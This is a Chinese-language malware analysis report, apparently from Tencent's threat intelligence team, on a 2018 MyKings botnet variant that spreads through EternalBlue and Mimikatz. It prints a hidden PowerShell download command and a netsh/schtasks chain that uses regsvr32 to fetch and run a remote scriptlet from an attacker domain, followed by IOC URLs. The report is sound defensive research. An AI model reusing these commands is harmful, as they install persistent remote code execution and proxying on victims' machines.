威胁研究正文

MyKings僵尸网络最新变种突袭,攻击代码多次加密混淆,难以检测

2018-09-10 07:04:11

近日,腾讯御见威胁情报检测到了Mykings僵尸网络迎来了一波更新,通过更新后的样本免杀度极高,且加密手段复杂,采用较高超的攻击技巧,提升了安全检测的难度。

1 、概述

近日,腾讯御见威胁情报检测到了Mykings僵尸网络迎来了一波更新,通过更新后的样本免杀度极高,且加密手段复杂,采用较高超的攻击技巧,提升了安全检测的难度。

MyKings僵尸网络2017 2月左右开始出现,该僵尸网络通过扫描互联网上 1433 及其他多个端口渗透进入受害者主机,然后传播包括 DDoSProxy(代理服务)、RAT(远程控制木马)、Miner(挖矿木马)在内的多种不同用途的恶意代码。腾讯御见威胁情报中心曾在今年五月发现Mykings利用Nsis脚本进行SMB爆破传播挖矿。由于MyKings僵尸网络主动扩散的能力较强,影响范围较广,对企业用户危害严重。

Mykings僵尸网络最新变种的技术特点:

1.攻击指令入侵成功,即通过Powershell下载king.ps1脚本;

2.king.ps1经过多次混淆加密,具有自我更新和横向移动扩散能力;

3.Mykings僵尸网络横向扩散利用了永恒之蓝漏洞和Mimikatz攻击神器;

4.Mykings僵尸网络多次使用加密混淆脚本,以掩盖攻击意图,逃避安全软件检测;

5.攻击者利用肉鸡电脑开启代理服务,肉鸡电脑可能成为攻击其他系统的跳板;

6.攻击脚本中有绕过Windows UAC的行为,避免危险操作被操作系统的安全功能拦截;

7.御见威胁情报中心监控发现,本轮攻击开始于94日,放量测试后攻击者很快关闭C2服务器。

2、样本分析

本次更新通过powershell下载king.ps1进行,更新命令:

powershell.exe  -E  -ExecutionPolicy Bypass -windowstyle hidden -command #3down = New-Object ct System.Net.WebClient;#3u;#3url = "= "http://js.f4321y.com/king.dat";#3";#3file = "C:/Users/ADMINI~1/AppData/Local/Temp/19>king.ps1</c1";#";#3down.DownloadFile(ile(#3url,#3file);exit;

下载后的king.ps1经过多次混淆加密,对其进行去混淆后脚本内容如下:


该脚本主要分为两个部分:自我更新和横向移动。

1) 自我更新分析:

脚本首先会获取本地信息,并发送给服务器,服务器会返回一段脚本内容,返回脚本内容为更新下载新的king.ps1



2) 横向移动分析:

该样本使用两种攻击方法进行横向感染:永恒之蓝,和利用NTLM hash 进行Smbclient

永恒之蓝

扫描内网开放445端口IP,并且该IP没有开放65353端口,随后会利用内置永恒之蓝利用代码eb7eb8函数进行攻击。

l  eb7:是针对windows 7/2008 R2

l  eb8:是针对windows 8/8.1/2012 R2


漏洞攻击代码来自exploit-db.网站修改版。攻击成功后,会执行base64解密后的payload

SMBClient

首先调用GetUserInfo函数,该函数内容同样经过编码加密,对其解密后发现会调用内置已加密的exe。该Exe为修改版的Mimikatz。用户获取本地帐号和Ntml hash



Mimikatz会将获取到的帐号和Ntlm存储在%temp%\tmp.log文件中:


将获取到的账号和NTLM Hash和内置的部分帐号和NTLM(脚本中硬编码)组成字典,然后利用SMBClient进行上传脚本。

添加内置帐号和Ntlm hash


smbclient上传脚本:


将内置脚本代码base64解密后发现为加混淆的js脚本,该脚本依然使用了极其复杂的加密和混淆:


对其去混淆后:


js脚本目的是在%appdata%\\Microsoft\\Microsoft.ps1下创建ps1文件,并且设置计划任务启动。Microsoft.ps1仍为加密混淆脚本,经过多次去混淆解密后得到如下脚本内容:

该脚本目的是继续上传受害者信息并执行服务器返回脚本。

3)payload分析

payload部分依然被严重加密:


解密后,得到执行payload的命令如下:

cmd.exe /c netsh.exe firewall add portopening tcp 65353 DNS&cmd.exe /c netsh interface portproxy add v4tov4 listenport=65353 connectaddress=8.8.8.8 connectport=53 & cmd.exe /c netsh advfirewall firewall add rule name=DNS dir=in action=allow protocol=TCP localport=65353 & cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn DnsCore /tr "regsvr32 /u /s /i:http://pages.ooguy.com/dns.sct scrobj.dll"

Payload会向防火墙添加65353端口,开启代理,设置当IP访问65353端口时,本机就连接到8.8.8.853端口上,并且设置任务计划定时访问下载http://pages.ooguy.com/dns.sct。目前该下载链接失效。猜测这里跳转到8.8.8.853端口其真实意图尚不明确,可能用于调试目的,或可能变更为代理服务、下载服务、或将肉鸡电脑作为攻击跳板,发起DDoS攻击等等。

4) BypassUAC

BypassUAC同样采取无文件落地攻击,其利用MSF公开BypassUAC注入dll,并将DLL硬编码加密写入脚本中。

该代码可以在github上找到:

3、趋势&总结

本次Mykings僵尸网络更新,采用了极其复杂的加密和混淆技术,大大增加了免杀的能力。 其中一个脚本就加密多达45次。而且此次捕获的样本并无其他可执行二进制落地,其利用的部分二进制恶意工具均被加密硬编码在脚本中,执行时直接注入相关进程,提升了安全软件的检测难度。

C&C域名监测来看,该波更新开始于94日,仅放量了一部分用户。目前已经关闭了该C&C服务器。因此我们判断,作者可能在进行一些测试,用于进行下一波更猛烈的攻击。

4、安全建议

1、 关闭不必要的端口,方法可参考:https://guanjia.qq.com/web_clinic/s8/585.html

2、 建议局域网用户切勿使用弱口令和统一口令;

3、 推荐企业用户使用御点终端安全管理系统保护电脑安全(下载地址:https://s.tencent.com/product/yd/index.html


附录(IOCs

MD5

44d9022197f596eefa88faa951d0a4b2king.ps1

Url:

hxxp://cache.gacache.ga/cache.png?v=2&h=

hxxp://jpcache.casacam.net/start.png?h=

hxxp://pages.ooguy.com/dns.sct

hxxp://js.f4321y.com/king.dat

hxxp://cache.gacache.ga/king.dat?new

hxxp://pages.ooguy.com/dns64.sct


在线咨询

方案定制